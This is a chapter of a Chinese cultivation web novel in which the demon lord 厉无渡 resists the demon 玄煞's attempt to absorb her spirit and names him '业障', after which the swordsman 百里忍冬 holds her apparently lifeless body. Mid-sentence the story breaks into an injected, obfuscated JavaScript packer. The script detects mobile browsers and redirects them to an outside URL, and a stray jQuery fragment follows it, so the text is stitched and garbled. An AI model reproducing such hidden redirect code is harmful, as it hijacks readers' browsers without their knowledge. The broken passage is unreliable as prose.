235. 业障
作品:《重生成死对头的师尊后》 “有什么不可能?”厉无渡笑了起来,“之前杀的都是你的分身,现在总该是本体了吧。”
“这一次,我会将你所有的‘根’,一起拔干净。”
玄煞沉默了一瞬,厉无渡能隐约感觉到他情绪中的怒火,可也仅仅只是一瞬。
下一刻,他的声音便重新响起,低沉中透着阴冷,却出乎厉无渡意料地冷静:
“……罢了,聚魂魔偶而已。”他淡淡道,仿佛在谈论什么无关紧要的玩意儿,“本就是为了培育分身、试验承载体而炼制的小东西,本尊从一开始,就没指望它们能派上什么大用。”
在玄煞话音落下的刹那,他本体所化的魔丝竟骤然“溶解”开来,散成无数比先前还要细、还要密的黑色丝线,在厉无渡体内铺天盖地地炸散开来,并且还狡猾地转变了策略——不再只是横扫、缠绕,而是带着极端的针对性,专门寻找厉无渡魔气和神识防御的缝隙。
而一旦找到,它们便如闻见了血味的蚂蟥一般,一拥而上,疯狂钻刺!
极度强烈的危机感袭上心头,厉无渡头皮发麻,瞬间将天魔变运转到极致,魔气层层迭加,神识壁垒如铁壁般封闭自身。
可还是没能彻底防住。
数缕细到近乎虚无的魔丝硬生生刺穿了某处防御较为薄弱的点,随即兵分两路,一半迅速向下蔓延,扑向魔种所在的丹田;另一半则逆着经脉而上,目标直指厉无渡识海核心处的神魂!
“呃!”
厉无渡闷哼一声,身体猛地一震。
她清晰地感觉到侵入丹田的魔丝如同活物般迅速分叉、生长,紧紧缠绕住她的魔丹,甚至试图顺着天魔变的运转轨迹反向吞噬她的本源魔气!
剧痛在刹那间炸开。
不是一瞬的疼,而是持续、撕裂、带着强烈侵占意味的痛楚,仿佛有无数口器尖锐的虫豸在她体内啃噬、繁殖。
玄煞的声音随之在她识海中响起,比之前任何一次都清晰,好似就萦绕在厉无渡灵台周边:
“感觉到了吗?厉无渡,这才是本尊真正的‘根’。”
“你吞了那么多护法,吞噬他们的时候是不是觉得很痛快?眼下不如亲自试试这被吞噬的滋味——被我从里到外,一点一点吃干净的滋味。”
随着他的低语,厉无渡识海之中的景象骤变。
原本清明稳固的神魂空间被一片暗紫色的阴影侵蚀,无数细密的魔丝如同蛛网般蔓延开来,重新化作一片魔影,并试图笼罩住厉无渡的神魂本体,将她拖入污秽而粘稠的意识深渊。
这是一种极其恶毒的吞噬方式,不是单纯抹杀,而是覆盖、同化,最终取而代之。
只要厉无渡稍有动摇,神魂的主导权便会被一点点剥夺。
厉无渡只觉灵台一阵绞痛,那暗紫色魔影如蚊蚋般钻进她神魂的每一处缝隙,无孔不入,防不胜防。
她试图凝聚心神,可识海之内已乱作一团,原本澄澈如镜的海面此刻翻涌着黑红色的浊浪,浪涛之中漂浮着无数破碎的画面——有她前世修炼时的残影,有被她杀死的敌人们惨死时的狰狞面容,更有少年百里忍冬抿着唇角微笑的脸,在浪涛中时隐时现。
“放手吧,厉无渡。”玄煞的声音渐渐变得像是从她自己的神魂深处钻出来的,与她的意识缠在一起,难分彼此,“天魔无相,本是同源,何苦这般挣扎?待本尊同化了你的意识,你便是我,我便是你,从此三界之内,我们便再无人能敌,多好。”
他的话语带着诡异的魅惑,如同最温柔的呢喃,却又裹着最刺骨的寒意。
厉无渡的意识开始出现恍惚,眼前的景象愈发混沌,有时她觉得自己仍在天魔血池之中,肉身被魔偶噬咬撕扯;有时又觉得自己身处前世的秘境洞穴,身边是同样受了伤,脸却冷得一成不变的百里忍冬;有时又是今世在剑宗和九重塔中的种种……
但这并非全部的幻象,更有甚者,托玄煞吞噬和同化带来的影响,他越是侵染厉无渡的神魂,她便越能看到基于玄煞记忆所产生的幻象。
就比如,厉无渡看到自己化作了玄煞本体的魔影模样,正在努力吞噬着赤眉护法的神魂。
她当即精神一振——虽然在神魂被入侵、需要和敌人抢夺意识主导权的情况下说这四个字,听起来有些不可思议,但厉无渡的的确确从中嗅到了机会的气息。
——她要搞清楚玄煞这一世身上种种古怪诡异的秘密。
如果能探明他的底细,说不定厉无渡就能找出他的弱点,从而想到办法破局反攻!
打定了主意,厉无渡努力忽视肉身感官传来的剧痛,同时咬牙忍着意识被侵蚀的滋味,在一片如坠五里雾中、虚实难辨、连自己是谁都快要记不清的混沌中努力挣扎,不断搜罗所有关于玄煞记忆的碎片。
灵台深处那一点仅存的清明如同狂风暴雨中的残烛,随时都可能熄灭。玄煞的意志如同疯长的藤蔓,死死缠绕住厉无渡的意识,一点点挤压她的存在空间,那些破碎的幻象也愈发清晰,不断冲击着她的心神,诱使她放弃抵抗。厉无渡的神魂本体在痛苦中蜷缩,却死死守住那一点清明,与玄煞的意志展开了惨烈的拉锯战。
她的意识时而清醒,时而混沌,每一次清醒都要承受神魂被撕裂的剧痛,每一次混沌都可能彻底沉沦,但厉无渡却在神魂要被生生拆成两半的可怕痛苦中坚持到了最后——
她终于找到了一切诡秘中,最关键的那块拼图。
“你看,这便是你的宿命。”玄煞的声音带着得意的冷笑,“从你修炼天魔变的那一刻起,便注定要成为本尊的养料,你的挣扎,不过是徒劳罢了。”
“不。”厉无渡的意识在崩溃的边缘徘徊,混沌的痛苦几乎要将她彻底淹没,但她回答玄煞的语气却是带着笑的,“这不是我的宿命。”
“我知道你是什么了,你是——”
“‘业障’。”
话音落下,识海中的魔影微微一滞。
厉无渡又断断续续地笑了几声,这才缓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943946|158912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过来一点气儿,百感交集地感叹了一声:“没想到啊,原来竟是如此……”
……
寒春在心口处的衣衫上割出艳丽的血色,百里忍冬惊疑不定的喊声破了平日里的清冷,竟带着一丝自己都未察觉的慌张。
他几乎是本能地收手抽剑,随后接住了因失去支撑点而缓缓倒下的厉无渡。
怀中的身躯轻得像一片枯叶,往日里动辄掀起腥风血雨的魔尊,此刻竟两眼紧闭,毫无反抗之力,连呼吸都微弱得几不可闻。
寒春剑穗上的银铃沾染了血色,随着他的动作轻轻晃动,发出细碎又刺耳的声响。
百里忍冬的手指冰凉,抱着厉无渡的同时整个人都是僵的。
但他自己却没察觉,还在专心致志地搜寻着任何能证明厉无渡这个魔女是假死骗人的蛛丝马迹。
“醒醒。”他紧绷着声音,咬牙切齿道,“你又想使什么样的卑鄙招数?假死?我不会上当的,给我起来!”
怀中的人毫无回应,只有残余温热的血还在顺着他的手往下淌。
百里忍冬努力忽视心底升起的某种预感,以及随之蔓生的、让他下意识回避的某种情绪,眼神冷厉地一把掐住了厉无渡的脖颈。
“我说了让你别装死!起来!和我堂堂正正地打完!”他收紧了虎口,却在感受到掌下毫无动静,连一丝微弱的脉搏起伏都没有后有些手抖。
百里忍冬忍不住将视线上移,落在了厉无渡毫无血色的脸上。
这张让他恨之入骨、如梦魇般缠绕了他无数个深夜的脸,此刻安静得可怕,甚至似乎逐渐泛起了不详的灰白。
他忽然想起决战前,她隔着漫天剑气对他问道:“百里忍冬,你我之间,是不是不死不休?”
那时他只当是她的挑衅,冷声回应:“废话少说,来战!”
厉无渡便又露出了那副状似无奈的,让人恨得牙痒痒的笑意,抽刀和他打了起来。
可此刻,百里忍冬抱着她逐渐变冷的身体,才惊觉自己从未想过这个结局。
他要的是除去魔尊,是正道的安宁,可也……不该如此突然。
以他们两个的实力,本该势均力敌、争斗不休地再缠斗个几百年才能分出胜负,怎么会、怎么会一下子如此?
百里忍冬依旧不敢置信。
他松开了掐着厉无渡脖子的手,动作间带着几分自己都没意识到的慌乱,声音依旧带着刻意维持的厉色,眉眼间却没了素日里的沉稳:“我警告你,不准装死,这招对我没用。”
“起来!你还有一堆罪孽没赎,怎么能就这么死了?当年你杀我师尊、为祸正道,这笔账还没算清!”
百里忍冬越说越没了章法,甚至都没意识到自己话里的漏洞——他师尊温琼枝的死,还有当年厉无渡潜伏正道时设下的阴谋诡计,不都是他与厉无渡你死我活的缘由吗?
如今罪魁祸首当真死了,他一直以来的目的达成,难道不该感到大仇得报,高兴、释然吗?

